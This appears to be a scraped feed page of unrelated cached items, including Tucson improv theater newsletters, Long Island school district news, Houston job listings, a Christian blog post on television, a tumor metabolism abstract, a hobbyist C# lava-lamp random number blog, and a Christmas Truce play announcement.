Next Page: 10000

          

Unscrewed Theater Holiday Shows + More!

 Cache   

 

From: Unscrewed Theater <UnscrewedTheater@gmail.com>
Date: Wed, Nov 27, 2019 at 9:01 AM
To: Unscrewed <Unscrewedtheater@gmail.com>

 

Thankful for YOU!

 

 

 

 

 

Happy Thanksgiving!

 

From all of us to you.

 

We are thankful for each and every member of our Unscrewed Theater family and grateful to be part of the Tucson community. 

Thank you to all of our volunteers - from those who have followed us from the street corner days to those who have only recently stepped behind the ticket counter at our shows.

If you've ever joined us with a paintbrush or sledgehammer, if you've taken a class or seen a show, you are a part of the Unscrewed Theater family. You keep local theaters (like us!) alive and thriving. We're thankful for you.

We've got our regularly scheduled family friendly shows ready to go this Friday and Saturday night @ 7:30 PM - with special guests Rich Baker & Cozi Orlen visiting from L.A. If you're looking for a breather (or maybe a laugh or two) from all the holiday chaos, come on down to the Unscrewed stage!

 

 

 

 

On Stage this Weekend

We now return to your thankfully scheduled programming.

All family friendly AND with special guests!

 

 

Friday, Nov 29

7:30 PM

Family Friendly Comedy

Not Burnt Out Just Unscrewed - Special Guest: Rich Baker!

Got family in town and looking for a way to entertain? Bring 'em ALL to our family friendly improv show.

We promise family friendly laughs that will even have Aunt Irma cracking a smile.

Tonight's show is hosted by Rob Sparks, with players Anna, Rosanne, Jon, Cy - & VERY special guest Rich Baker!

$5 for kids, $8 for adults

 

Saturday, Nov 30

7:30 PM

Family Friendly Comedy

Not Burnt Out Just Unscrewed - Special Guest: Cozi Orlen!


Improv games! The rules are all made up, and the points don't even matter...just like the rules of the road in Tucson during a rainstorm.

Bring the whole family down for a night of fun with us at our family-friendly night!

Tonight's show is hosted by Cy Barlow, with players Anna, Cam, Rob, Rosanne, Jon, Alan - & VERY special guest, Cozi Orlen!

$5 for kids, $8 for adults

 

 

 

 

 

🎇Special Events🎇

Get ready for some out-of-the-box fun

 

 

 

It's BACK!

Elves Gone Bad:

Interactive Holiday Theater brought to you by Unscrewed Theater!


Elves
🧝️ Santa 🎅 Reindeer 🦌 Pirates 🏴
and
YOUR kids!  

Live on our stage!

Make some FOREVER family memories this holiday season. Children & adults are encouraged to participate onstage & from their seats in this improvisational holiday children's play.

Six Matinee Shows in December @ 1:00pm
Saturday & Sunday - Only $5.00
(Free admission for babies on laps)

Get Tickets Here:
Dec 7 bit.ly/UTElvesDec7
Dec 8 bit.ly/UTElvesDec8
Dec 14 bit.ly/UTElvesDec14
Dec 15 bit.ly/UTElvesDec15
Dec 21 bit.ly/UTElvesDec21
Dec 22 bit.ly/UTElvesDec22

 

Unscrewed Theater

4500 E. Speedway Blvd. #39

Tucson, AZ 85712

 

-------------------------------------

Tucson Theatre Announcement List
TucsonStage.com for subscription information

 

 


          

Unscrewed Theater: Ready to LAUGH this weekend?

 Cache   

 

From: Unscrewed Theater <UnscrewedTheater@gmail.com>
Date: Thu, Nov 21, 2019 at 9:04 AM
To: Unscrewed <Unscrewedtheater@gmail.com>

 

 

 

 

Want to hear a joke?


Q: What sound does a space turkey make?
A: Hubble, Hubble, Hubble!

 

 

OK, OK.

 

Hold those groans.


We've got some REAL comedy for you this weekend - on & off the Unscrewed stage!


(Unfamiliar with improv? Check out our YouTube channel to see what we're about.)

This weekend you can catch our talented team from Not Burnt Out Just Unscrewed onstage Friday & Saturday night at 7:30 PM for our regular family-friendly shows. You'll also find us at the El Tour Fiesta! Four FREE shows at Armory Park - all part of this weekend's El Tour event.

If you like stories and the art of storytelling, you've got to stop by on Sunday, Nov 24. Local organization Tellers of Tales brings Tellabration! to Tucson.
Storytelling enthusiasts share their talents in a local event that brings together celebrated storytellers to delight, captivate, and mesmerize audiences - on our stage


 

 

On Stage this Weekend

We now return to your tactically scheduled programming.

 

 

Friday, Nov 22

7:30 PM

Family Friendly Comedy

Not Burnt Out Just Unscrewed

It's Friday night and you DESERVE a laugh. Our players know how to turn giggles into guffaws with a host of improv games that are fun for the whole family.

Tonight's players are: Rob, Ro, Mara, Benda, Cy and Cam - & your host, Cy Barlow!

$5 for kids, $8 for adults

 

 

9:00 PM

UNCENSORED Comedy

Free Form Friday!


Saw the early show, but looking for more to laugh at? Stick around - it's our Free Form Friday Fight Night!

Four improv teams enter - but only one winner will remain.

Got an improv team and want to try your hand on our stage? Let us know at UnscrewedTheater@gmail.com

FREE!
 

 

Saturday, Nov 23

7:30 PM

Family Friendly Comedy

Not Burnt Out Just Unscrewed


Tired of spending Saturday nights doing the same old thing?

It's a new show every night with improv! Our family friendly shows are a great way to get the whole crew out of the house - and laughing!

Tonight's players are: Rick, Cam, Rosanne, Mara, Jon, Dawn - & your host, Cy Barlow!

$5 for kids, $8 for adults
 

9:00 PM

UNCENSORED Comedy

Not Burnt Out Just Unscrewed

 

You saw their mild side - get ready for their wild side!

The late night show is what happens when we kick out the censors and let our improvisers take off their filters.

Rick, Cam, Rosanne, Mara, Jon, Dawn - & your host, Cy Barlow!

$8 for adults

Get a laughing pass! See any two shows tonight for just $10

 

 

🎇Special Events🎇

Get ready for some out-of-the-box fun

 

 

 

Saturday, Nov 24
2:00 PM
Tellabration! hosted by Tellers of Tales

"It's Time for Tellabration!™ - an evening when storytellers across the world will entertain audiences with exciting tales.

Guilds and storytelling enthusiasts all around the globe will share their storytelling talents in concerts held in cities and towns to celebrate the art of storytelling. It creates a network of storytelling enthusiasts bonded together in spirit at the same time and on the same weekend.

Here in Tucson, Tellers of Tales will host Tellabration!™ for our local community, bringing together celebrated storytellers, to delight, captivate, and mesmerize audiences with their stories.

$5 for tickets
 

Unscrewed Theater

4500 E. Speedway Blvd. #39

Tucson, AZ 85712



-------------------------------------

Tucson Theatre Announcement List
TucsonStage.com for subscription information

 

 


          

Christmas TV guide 2019: Where and when you can find holiday shows, from Hallmark movies to 'Grinch'

 Cache   
Here's a list of holiday television programming, from Thanksgiving Day through New Year's Day.
       

          

Board Notes: October 16, 2019 Business Meeting

 Cache   
The October 16 meeting opened with comments from the Board of Education about the community’s enthusiasm during the annual homecoming parade and football game, held on October 5. Both trustees Melissa Aruta and Cameron Trent congratulated Bellport Middle School on the annual Hispanic Heritage Celebration, held on October 11. Celebrating Latino and Spanish American culture, the program featured poetry, music, dancing and wonderful food. Vice President Jack Nix also encouraged the community to attend Bellport High School’s drama “The Game’s Afoot,” to be held on November 1 and 2 at 7:30 p.m. Tickets are $10 at the door. Assistant Superintendent for Personnel and General Administration Nelson Briggs gave a report on the District’s recruitment, hiring and retention of faculty and staff, information which closely links to the Board of Education’s priorities. The Board also continued its discussion on allowing consent for school security cameras to be linked to the Suffolk County Police Department in cases of emergency. Previously, Dr. Giani and the Board discussed concerns regarding how the language of the agreement potentially affects student privacy under the Family Educational Rights and Privacy Act. There was a question on whether the SCPD will have access to data when maintenance on the technology is performed. After speaking with counsel, the Board and Dr. Giani reported that they are confident that the language of the agreement protects student privacy, but that there needs to be further review of the policy regarding student records before finalizing the agreement. The District’s Safety Plan was also approved with revisions which included the new South Haven Early Childhood Center and a change to the bus company’s name. The South Country Education Foundation also received a thank you for its generous donation of $55,683 in grants for the school year. The money for the grants was generously donated to the foundation by members of the community and will be used for student programming. There was public comment regarding the audit of Bellport Middle School’s eighth grade field trip. Board of Education President E. Anne Hayes said there has been a lot of community misinformation. She added that the Board and administration are not saying that there will be no field trip for this class, but that they are looking for an alternative with “fresh eyes.” The next Board of Education will be held on October 30, 2019 at 7:30 p.m.
          

Engineering: Full Stack Engineer - Houston, Texas

 Cache   
Job Description Solstice Consulting Group is seeking Full Stack Software Engineers (anticipated 6+ month contract) for an energy client in West Houston. DESCRIPTIONThis position requires a potent mix of leadership and core technical abilities; including the ability to design responsive, scalable solutions, ensure development execution, and champion quality throughout the software development process. Responsibilities:-- Building the web applications for customer facing web/mobile experiences.-- Innovate using the latest technologies to create best in class experiences for our customers-- Work closely with experienced UX and design teams to implement modern user experiences for our products-- Create UI patterns and components for maximum reusability by other teams-- Contribute to estimation and scoping of projects-- Troubleshoot front-end issues for existing applications-- Suggest improvements in existing code to make a better software experience for our customers Required Skills:-- Bachelor's degree in Computer Science, Engineering, Instrumentation or related degree, or equivalent work experience-- 5+ years of software engineering experience.-- Experienced in various stages of Software Development Lifecycle and Agile Methodology-- Understanding of OOP concepts and design patterns-- Excellent verbal and written communication skills-- Experience with web development using JavaScript frameworks like Bootstrap, React and Angular-- Experience with JavaScript, HTML, CSS-- Experience with C#, C++, or other high-level programming language-- Excellent debugging skills HOURLY RATE DOE OF $40 - $65 PLUS TIME AND A HALF FOR OT (W2 - NO BENEFITS) ()
          

IT / Software / Systems: Senior Developer - Houston, Texas

 Cache   
As a Senior Developer, you will design and implement solutions based on client needs and requirements. You will take-on challenging assignments working directly with architects and other developers at a client. No two days are the same - you'll never stop learning and growing. You'll have the autonomy to make crucial decisions while receiving support and guidance along the way and adhering to established change management and DevOps best practices. The ability to organize and prioritize your tasks to manage multiple assignments will be essential. This position is based in Houston, Texas. You'll receive competitive benefits and can earn performance bonuses. Sullexis' environment is one of continuous learning; you'll have access to opportunities to expand your skillset and share your knowledge with others. Requirements Bachelor's degree (Computer Science or related field) Eligible to work in the U.S. without sponsorship Self-motivated with solid experience in solution design and development Highly adaptable, capable of learning new technologies Demonstrable software engineering skills in testing, troubleshooting, debugging and problem resolution 5+ years of experience with: Microsoft stack programming (.NET, C#, WCF, WPF, SharePoint, PowerApps, Flow), SQL database design, programming complex queries and stored procedures, performance optimization 3+ years of experience with Python application development, testing and deployment Solid understanding of distributed web technologies (JavaScript, HTTP, SSL, REST, SOAP, XML, JSON), including using tools like Postman and JavaScript debugger Experienced in building enterprise reporting solutions, preferably with Power BI (or similar other tools like Microsoft SSRS, Tableau, Spotfire) Proficient in GitHub, Maven and similar for managed source code, project repositories and build tools Comfortable working within a fast-paced environment and multiple project assignments while maintaining status updates to project leads Strong written and verbal communication skills, including system design/documentation skills Able to travel locally to various client sites for project delivery Preferred Experience working with cross-platform data migration, integration, using ETL tools (SSIS, Informatica, Business Objects or similar) Proficiency with Amazon Web Services, Microsoft Azure Proficiency with agile project management and delivery methods Experience in developing solutions for the Oil and Gas/Energy industry ()
          

Bellport Middle School Robotics Team Wins Programming Award

 Cache   
The Bellport Middle School Robo Panthers garnered the Programming Award at the FIRST (For Inspiration and Recognition of Science and Technology) Lego League qualifier tournament, held at Huntington High School on Feb. 3. Sponsored by the School-Business Partnerships of Long Island, members of robotics teams from Nassau and Suffolk counties worked hard to research, design, build, program and test Lego robots that addressed this year’s challenge “Into Orbitism.” Teams, including the Robo Panthers, were instructed to choose and solve a real-world problem faced by humanity during long-term space exploration within the sun’s solar system. Competitors built, programmed and tested an autonomous robot using Lego Mindstorms technology to solve a set of Robot Game missions, operating under FIRST’s core values, teamwork and professionalism. Robo Panthers co-adviser Matthew Gualtieri explained that the team was judged on core values and teamwork, their outer space innovative solution which included the design of an artificial device for astronaut health, and the technology and programmatic components of the robot. Mr. Gualtieri noted that the judges were particularly impressed by the team’s programming in the robot design category. The South Country Central School District would like to congratulate Robo Panthers team members Anthony Costanza, Derek Griffin, Dylan Horn, Travis Miller, Caden Rupolo, Dan Slawinski and James Vohrer on a great season.
          

SCCSD Board Notes Feb. 27 Meeting

 Cache   
The Board of Education held its second business meeting of the month, commencing with a hearty congratulations to the boys basketball team, who won the league championship, and for the flawless high school performances of “Rent.” During the Superintendent report, Dr. Joseph Giani reminded the community that voting times for this year’s school budget and trustee election on May 21 have been expanded to 6 a.m. to 9 p.m. He also reported that the Frank P. Long Intermediate School window and door project is in full swing with completion set for April. The Board approved the consolidated 2019-2020 school calendar, which will have a start date for the new school year on Sept. 4, two whole weeks off at the winter recess and one snow day built in. March 25 is the start of the District’s pre-kindergarten program registration. Information on how to register is on the District website. Trustee Di Santo said she would like to see members of the community take a closer look at becoming involved in the District’s advisory committee meetings scheduled for March 4-7. The next round of meetings will be held on June 3-6 for finance and facilities, health and safety, strategic planning and teaching and learning. Locations and times are posted on the District website. President Felice discussed inviting CEED, the Center for Environmental Education and Discovery, to meet with the superintendent and discuss joint programming. Trustee Picini asked the District to educate the community about the Momo Challenge. Halfway through YouTube videos for children like “Peppa Pig” and “Fortnite,” a scary image pops up which encourages children to harm themselves. The Board agreed parents should receive communication about this menacing and potentially dangerous challenge, and a letter from Dr. Giani has since been posted to the website. Dr. Anthony Griffin said he had the opportunity to visit Brookhaven Elementary School and saw three things: a school of love, laughter and learning.He noted that even though the state has labeled the school one that needs improvement and support, this is not what he saw on his tour. “This is not who we are,” he said, and he appreciates the letter that was sent to the staff from Dr. Giani. High school teacher Gaetano Greco and school counselor teaching assistant Daniel Jarmon were recognized for their selfless efforts in cleaning off staff cars of snow during a recent snow storm. The next business meeting will be held on March 13 at 7:30 p.m. with a budget presentation on curriculum and instruction.
          

Professions: Board Certified Behavior Analyst (BCBA) - Houston, Texas

 Cache   
At BlueSprig, we're on mission to change the world for children with autism. We were founded on 'What If?' - What if we focus on quality services? - What if we are a leader in ABA research?- What if we are strong advocates for the rights of all children with autism? Instead of choosing, we are pursuing all three together - that's the BlueSprig difference! If you're serious about company culture and professional development, we guarantee you'll love being a part of the BlueSprig family! The Board Certified Behavior Analyst (BCBA) is an exempt position within our organization. This role is responsible for the facilitation of clinical programming, maintaining clinical standard, and both external and internal relationship management within of an ABA Therapy center. The BCBA role is a key position within the Blue Sprig Pediatrics, Inc. organization, building a strong relationship with clients to provide excellence in ABA Therapy.Clinical Key Responsibilities:-- This position will provide quality, clinical supervision and work in discipline-specific treatment for children with developmental delays, disabilities, and autism spectrum disorders (ASD).-- The Clinical Supervisor Social Skills Lead will facilitate behavior programs based on the principles of Applied Behavior Analysis (ABA).-- Conduct Functional Behavior Assessments (FBAs) and function as an Assessor when needed.-- Will provide parent education, develop and deliver specific intervention activities according to the treatment plan, and monitor development of children in natural settings.-- Under the guidance of the Clinical leadership team, develop and implement new programs and perform ongoing adjustments to current programs as needed.-- Provide supervision to Behavior Therapist as required for cases.-- Produces progress reports and treatment plans to meet the requirements and submission timelines of regulatory agencies and funding sources.-- Partners with the Center Manager to develop and implement Behavior Support Plans as needed.Operations Key Responsibilities:-- Function as liaison between the organization, families, community, therapists, health care providers, etc.-- Responsible for meeting financial and productivity requirements set forth in annual budget and as directed by the Center Manager or other Clinical Supervisor.-- Lead and attend staff meetings. Work with the Clinical leadership team to implement and manage ongoing staff training under your supervision.-- Mentor and support staff in meeting productivity requirements; write performance evaluations of your Behavior -- Therapists and track progress to goals with them directly.-- Responsible to complete additional job duties as assigned by Center Manager.Candidate Qualifications:-- Must be a Board Certified Behavior Analyst (BCBA).-- Bachelor's degree from an accredited college or university with a concentration in early childhood education/development, early childhood special education, special education, psychology or related field preferred. Master's degree preferred.-- At least two years of related professional experience working with children with Autism Spectrum. -- Disorders (ASD) in a multi-disciplinary team setting preferred. Familiarity with the field of early intervention preferred.-- Expert knowledge of scientifically-validated methodologies and approaches found to benefit children with ASD; familiar with current related research findings.-- Expertise in all empirically evaluated assessment and intervention strategies related to program and service delivery for individuals with ASD.-- Valid CPR certification. Ability to pass background/fingerprint clearance, reference checks, and provide appropriate immunization records.-- Able to communicate in English effectively verbally and in writing; bilingual a plus.Candidate Skills:-- Sensitive to working with an ethnically, linguistically, culturally, and economically diverse population.-- Demonstrates creativity and a "think outside the box" attitude to provide support and achieve positive outcomes for all clients and staff.-- Able to communicate effectively verbally and in writing; bilingual a plus.-- Able to consistently demonstrate good judgment and decision-making skills.-- Able to exercise confidentiality and discretion pertaining to the work environment.-- Able to appropriately interpret and implement policies, procedures, and regulations.-- Knowledgeable and skilled in computer/word processing software and excel.-- Desire to work in an exciting, fast paced high energy environment while effectively multitasking.-- Professional; able to work comfortably with individuals at all levels within the organization.-- Works with integrity and ethically. Strong understanding of HIPAA policies.-- Demonstrates accuracy and thoroughness.-- Demonstrated Leader; ability to mentor and grow staff under your supervision.Benefits:-- Medical, Dental & Vision benefits are offered. -- 401(k) Plan-- Paid holidays and PTO provided. Hours:-- Clinic operating hours typically Monday to Friday 8am-5pm.-- Events or volunteer opportunities within the community outside of these traditional hours may occur on occasion. Special Demands:-- There may be times where you will need to exert control of others within the guidelines of ABA therapy.-- This role calls for medium physical demands - an ability to bend, kneel, crouch, and spend time on your feet as well as an ability to lift items up to 50 lbs of force on occasion. ()
          

Empire State Grant awarded to South Country CSD

 Cache   
The district, in conjunction with the Economic Opportunity Council of Suffolk, Inc. was awarded an Empire State Afterschool Program grant. Totaling $560,000 a year for four years, the grant will support an afterschool program at Bellport Middle School for 300 students in grades 6-8 and will run three hours a day for five days a week. The opening date of the program is projected for later this fall. In addition, 50 high school students will be provided afterschool programming through the Boys and Girls Club of the Bellport Area. “The district appreciates this generous grant, which will provide a much-needed service to students in our community and which will fill a gap for students and their parents who need alternatives for afterschool hours,” Superintendent of Schools Dr. Joseph Giani stated. Economic Opportunity Council of Suffolk, Inc. Director of Youth and Adolescent Services Cynthia Amato explained that the grant will provide vocational, recreational and educational preventative programming. As an Economic Opportunity Council of Suffolk, Inc. partner, the Suffolk County Police Department will also provide education on violence prevention and the risks of drug use and addiction. In addition to a designated homework hour with tutors in core subjects, participants will select from a host of activities, including science, technology, engineering and mathematics (STEM), cooking, dance, music/audio club, music/DJ mix club, special events for students and families, and social-emotional and healthy living activities. Through the Leaders of the Future/STARS (Students Taking an Active Role in Society) clubs, participants will also learn leadership skills and take on community service projects. SAVVY Me program activities will also promote self-discovery and understanding. “With increased afterschool participation through enrollment, we aim to improve academics and attendance, as well as foster parental involvement,” Amato said.
          

A Personal Problem

 Cache   
I know, I know, I'm about to tell you about something that bothers me for me and it will upset some readers. "Pharisee!" they'll cry. "Judgmental!" they'll accuse. "Don't tell me what to do!" they'll demand. So let me make it clear that I'm not about to tell you what to do. I'm about to tell you about a personal problem in the hopes that you might be able to help me. I'm not suggesting that this is a problem for anyone but me. So thank you for your kind indulgence.

I am a fairly standard American. I have a television set and I use it for entertainment. Okay, maybe not standard. I don't have an antenna or cable connection, so I don't actually watch broadcast TV, but I do still have Netflix and my wife does connect to the Internet and watch a show or two from network television. So almost standard, okay? Here's the problem -- my problem. I'm finding it increasingly difficult to defend any of this ... at all.

In Deuteronomy God commanded Israel to teach their children the words of the Shema. "You shall teach them diligently to your sons and shall talk of them when you sit in your house and when you walk by the way and when you lie down and when you rise up" (Deut 6:4-9). So when their children asked to be allowed to learn the ways of other nations, they would tell their children, "Well, you're supposed to be learning to love God when you lie down, when you rise up, and when you're home and when you're out. If you can figure out when else you have to do it, you can try." Or something like that. David wrote, "I will set no worthless thing before my eyes" (Psa 101:3). That's interesting because he did not say "evil"; he said "worthless." Paul wrote, "Do not participate in the unfruitful deeds of darkness, but instead even expose them" which seems all well and good, but went on to say, "for it is disgraceful even to speak of the things which are done by them in secret" (Eph 5:11-12). Elsewhere Paul says, "Whatever is true, whatever is honorable, whatever is right, whatever is pure, whatever is lovely, whatever is of good repute, if there is any excellence and if anything worthy of praise, dwell on these things" (Php 4:8) All pretty clear and straightforward.

Consider, then, our current popular entertainment. What is their message? What is their aim? What do they want you to believe? The unrepentant aim of much of what you're shown today is "Accept as moral the immorality of our current world." In 2018 the news reported that "The percentage of LGBTQ series regulars on broadcast primetime scripted programming is up to an all-time high of 8.8 percent." This year GLAAD reported it was at 10.2% and the current demand is 20% by 2025. Companies playing ads for you on that same TV are consciously making them more "gay-inclusive" with, for instance, a kid who addresses two women as "Moms" (Cox), a holiday gathering with a gay couple (Kohl's), or a Campbell's soup ad with gay dads to name a few. GLAAD doesn't make any bones about it; they are aiming at making same-sex sex normal, acceptable, even laudable in today's society, and they are doing it right there on your TV screen. But look at some of the other affects. I've watched some of the older shows, like Dragnet or Adam-12, in light of newer shows like "Criminal Minds" or "Gotham." The magnitude of the crimes depicted have increased exponentially and the graphic depiction is out of control. In fact, finding horrible messages is so easy that we miss some of the easy ones because the rest are so blatant. But, here's the challenge. Can you find any positive ones? Can you find messages in primetime TV that give you ""Whatever is true, whatever is honorable, whatever is right, whatever is pure, whatever is lovely, whatever is of good repute"? It sure doesn't seem like it.

I'm wondering, then, why I'm still watching any secular entertainment. Do you see my problem? If I want to learn to love God day and night, if I want to avoid the worthless, let alone the evil, if I want to avoid examining what is done by them in secret, if I want to think the way that Scripture tells me to think, can I do that with my television set? How do I justify it? If I want to imitate God (Eph 5:1), does the entertainment I'm putting in front of me add to or detract from that? If the things that I find entertaining are the things that God finds abominable, what does that say about me? Do I need to make a radical change here? That's my problem.

Additional Considerations
In thinking about this further, I have to point out that "crime" or "violence" or the like in our entertainment media are not the issue here. The Bible includes stories of crime, violence (sometimes very graphic violence), sexual immorality, and all. (Interestingly there is not one instance of graphic sex there. Nowhere does it describe a sex act. Kind of like the old days of TV and movies where the scene cuts and you know what they did but you never saw it.) Of course, a key difference is that none of it is glorified. Contrasted with a Gotham where all characters are evil or Joker where everyone is bad, so we should feel bad for the poor mass murderer, the Bible contains these stories, but they aren't classified as "good". So it is not merely the presence of such stories that I'm talking about; it is the intent.
          

Brookhaven and Verne W. Critz Students Participate in "Hour of Code"

 Cache   
Students in Verne W. Critz and Brookhaven Elementary Schools celebrated Computer Science Week by participating in an "Hour of Code" in their computer classes this past month. The "Hour of Code" is a global movement that reaches out to millions of students across 180+ countries. The program features a one-hour introduction to computer science, designed to explain code and show that anybody can learn the basics. Code.org provides teacher training and student lessons in one hour tutorials in over 40 languages enabling anyone from ages 4 to 104 to learn code. The course features video lectures by Bill Gates and Mark Zuckerberg as well as familiar characters from popular games such as Angry Birds. Using a blended learning model children learn basic computer programming. Students practice skills related to logic and problem solving through computer based learning and puzzles as well as "unplugged" activities. The "Hour of Code" gave our students an opportunity to create games, apps and programs while providing foundational skills in computer science and technology.
          

Verne W. Critz is Learning Computer Science!

 Cache   
We are celebrating Computer Science Week here at Verne W. Critz by participating in the Hour of Code during the week of December 7-11, 2015. The Hour of Code is a one-hour introduction to computer science, designed to explain code and show that anybody can learn the basics. Code.org has provided student lessons and teacher training so every student will have the opportunity to learn computer science. In fact, anyone, anywhere, can learn the Hour of code from ages 4 to 104. The Hour of Code is a global movement reaching tens of millions of students in 180+ countries. The one-hour tutorials are available in over 40 languages. Computer Science is fun, collaborative, and creative! It's designed to inspire students to continue learning how technology improves real world relationships, connections, and life. Students learn: * basic computer programming * logic, problem solving, and creativity The course features puzzles, video lectures by Bill Gates, Mark Zuckerberg, as well as familiar characters from popular games such as Angry Birds. Using a blended learning model, your children are learning with a mix of online, self-guided activities and "unplugged" activities that use no computer at all. Software is everywhere. It's shaping almost every aspect of how we live our lives. But very few kids are learning how to actually create games, apps and programs. Computer science is a foundation for every student. That's why we are introducing our students to these critical 21st century skills. "The 'Hour of Code(tm)' is a nationwide initiative by Computer Science Education Week [csedweek.org] and Code.org [code.org] to introduce millions of students to one hour of computer science and computer programming."
          

12 Best Tools To Improve Your Programming And Coding Skills In 2020

 Cache   
Best Tools To Improve Your Programming And Coding Skills

How to improve your programming and coding skills? — To build skills in code, write code. Solving different types of coding problems regularly improves your coding skills. Going through many practice problems is a great way to solidify your understanding of how the code should work. But where can you find that type of coding exercise? After some […]

The post 12 Best Tools To Improve Your Programming And Coding Skills In 2020 appeared first on TechLog360.


          

グルタミン遮断は細胞によって異なる代謝系変化をもたらし腫瘍免疫回避を打開する

 Cache   

The metabolic characteristics of tumors present considerable hurdles to immune cell function and cancer immunotherapy. Using a glutamine antagonist, we metabolically dismantled the immunosuppressive microenvironment of tumors. We demonstrate that glutamine blockade in tumor-bearing mice suppresses oxidative and glycolytic metabolism of cancer cells, leading to decreased hypoxia, acidosis, and nutrient depletion. By contrast, effector T cells responded to glutamine antagonism by markedly up-regulating oxidative metabolism and adopting a long-lived, highly activated phenotype. These divergent changes in cellular metabolism and programming form the basis for potent antitumor responses. Glutamine antagonism therefore exposes a previously undefined difference in metabolic plasticity between cancer cells and effector T cells that can be exploited as a “metabolic checkpoint” for tumor immunotherapy.


          

Generating random numbers from a lava lamp using .NET Core

 Cache   
I used to have a lava lamp when I was young. I mean, I’m still relatively young, but I haven’t had a lava lamp in decades anymore. I think it was a fad of the 1990s, and when everyone realized the lamps actually broke rather easily, the hype died quickly. Our family also had a bread machine around the same time. We don’t have that either, anymore. When I read about Cloudflare’s random number generator solution with their distributed randomness beacon, and especially the LavaRand solution, I figured I can just as well build my own. Because what’s better than spending a few evenings of quality time fiddling with something, that will inevitably break, but during the process teach you a lot about life and make you question your life choices? Cloudflare has built a very impressive solution with arrays and rows of lava lamps, and additional logic into considering image noise from the capture device. I don’t have time for all that, but I wanted to build something akin, yet a bit more.. ghetto? Random number generators I first spent a bit of time reading about random number generators, or RNGs. In short, it’s a device or an algorithm that produces numbers that are not reasonably predicted. You could use a pair of dice, and with Cognitive Services in Azure, it would be trivial to read the values automatically. But, I want the lava lamp to be part of this setup! Using .NET Core and C#, I can use the Random class to generate pseudo-random numbers. They are pseudo because that class uses a finite set of numbers. See D. E. Knuth. The Art of Computer Programming, Volume 2: Seminumerical Algorithms. Addison-Wesley, Reading, MA, third edition, 1997 for the internals of this. Thus, making this easy, I could just do this in C#: Random rnd = new Random(); Console.WriteLine(“{0}”, Rnd.Next()); And this would produce me with a random number, such as 42. Typically, this is good enough for many purposes. You can also use System.Security.Cryptography.RNGCryptoServiceProvider to generate cryptographically strong random values. It’s a bit more complex, but also it doesn’t involve a fancy gizmo, like a lava lamp. The setup I started to build my setup by sourcing a good webcam, that can capture data from a lava lamp. Back in the day, I used a USB-connected Logitech webcam, the one that looks like a golf ball. The API used the atrocious Win32 APIs, and calling that from managed code, such as C#, was painful. Thankfully, I happened to purchase a set of 5 cameras (for some reason), and I haven’t had much use for them yet. They are the Ubiquiti Networks’ Unifi UVC-G3 surveillance cameras. They can be powered with Power over Ethernet, and they look badass. A box of 5 costs around $800. Definitely not the cheapest, but they are meant for ‘real’ surveillance, not just for hacking around in your basement with a lava lamp trying to generate random numbers. The cameras expose a REST API, which is super easy to use. Simply call: GET http://unifiserver/api/2.0/snapshot/camera/{CameraID} And it returns a static .JPG file! So by using this setup, I purchased the cheapest lava lamp I could find (about $15) and captured a few images. Processing the image And now all that’s left is to use a bit of C# again to process the image. I found interesting research papers on how exactly to do this. They were very complex and full of algorithms and math I wasn’t familiar with. I wanted to get this thing working, so I started hacking around a bit and ended up with a simple approach: Bitmap img = new Bitmap(@"c:\temp\lava-closeup.jpg"); for (int i = 0; i < img.Width; i++) { for (int j = 0; j < img.Height; j++) { Color pixel = img.GetPixel(i, j); if (pixel.R < 255 && pixel.G < 255 && pixel.B < 255) { sb.Append(pixel.R + pixel.G + pixel.B); } } } Random rnd = new Random(); string randomNumber = sb.ToString().Substring(rnd.Next(1, sb.Length -1), 6); First, I’m reading the image file as a bitmap. I’m then looping each pixel of the image and randomly pick one pixel. From that pixel, I store the R, G and B values in numerical forms – thus, I end up with three values, that I add together. Finally, I generate a pseudo-random number and generate my final random number with aid from that. Admittedly, this isn’t cryptographically secure. Also, the code is far from great, but it works as an initial proof of concept. In conclusion This was a fun little exercise. Adding physical devices – the lava lamp, and a camera – brought in some extra challenges, in a good way. Reading the image file was very simple, and it opened up all sorts of opportunities to enhance the logic later on. I opted to generate 6 figure numbers, but perhaps I should optimize this at a later date to produce longer, or shorter numbers as needed. This could also be wrapped in an Azure Function to produce an API for generating these numbers.
          

Alabama Shakespeare Festival Brings ALL IS CALM: THE CHRISTMAS TRUCE OF 1914 to the Stage

 Cache   

Alabama Shakespeare Festival presents All Is Calm: The Christmas Truce of 1914 by Peter Rothstein, with vocal arrangements by Erick Lichte and Timothy C. Takach, on the Octagon Stage December 7 - 29, 2019. Directed by Melissa Rain Anderson, this dramatic retelling weaves together firsthand accounts of World War I soldiers with patriotic tunes, trench songs, and Christmas carols.

All Is Calm is a remarkable true story from the Western Front, Christmas, 1914. In a silence amid the combat, a soldier steps into no man's land singing "Silent Night." Thus begins an extraordinary night of camaraderie shared over trench songs and Christmas carols, told in the words of the men who lived it.

"This production is inspired by actual letters from frontline soldiers to their families back home, and the ensemble recreates the evening with a cappella songs and stories," said ASF Artistic Director Rick Dildine. "All Is Calm serves as a great reminder that the ties that bind are greater than those that keep us apart."

"It is an honor to tell this story at this time of year," said Anderson. "I am moved by the humanity of this piece of theatre and drawn to the idea that music can be a universal language. As 10 men lift their voices and engage in a kind of sacred alchemy with each other, I feel myself brimming with hope - hope that we can see each other as humans with so much more in common than not."

The ensemble features Jim Poulos, Andrew O'Shanick, Michael Williams, Eddie Egan, Danny Lindgren, Noah Plomgren, Luke Sidney Johnson, Landon Tate Boyle, James Anthony Hunsaker, and Jordan Ahnquist.

The All Is Calm creative team includes Musical Director Gregg Coffin, Dialect Coach Michael J Barnes, Scenic Designer Sean Fanning, Lighting Designer Lonnie Rafael Alcaraz, Sound Designer Lindsay Jones, Costume Designer Val Winkelman, Wig Master/Supervisor Angie Wright, Stage Manager Victoria Broyles, and Production Assistant Madison J. Rutledge.

All Is Calm is recommended for ages 13 and up. Tickets start at $29. To purchase, call 334.271.5353, visit the ASF Box Office (open Monday - Saturday, 12:00 p.m. - 5:00 p.m.), or go online: ASF.net/alliscalm. Evening performances begin at 7:00 p.m.; matinees start at 2:00 p.m.

On December 7 at 12:45 p.m., ASF will host a free community engagement event in the Patrons' Room. "A Fleeting Moment of Humanity: The Christmas Truce of 1914" will offer a thrilling look into the causes and consequences of the 1914 Christmas truce. The lecture is presented by Professor Ben Severance, AUM Chair of the Department of History and World Languages and Culture, and sponsored by Auburn University at Montgomery. For more information, visit ASF.net/community.

ASF also invites active and retired military personnel, veterans, and their families to join us on Thursday, December 12 for Military Appreciation Day. Discounted military tickets for both performances on December 12 can be purchased online or through the Box Office with code MILITARY.

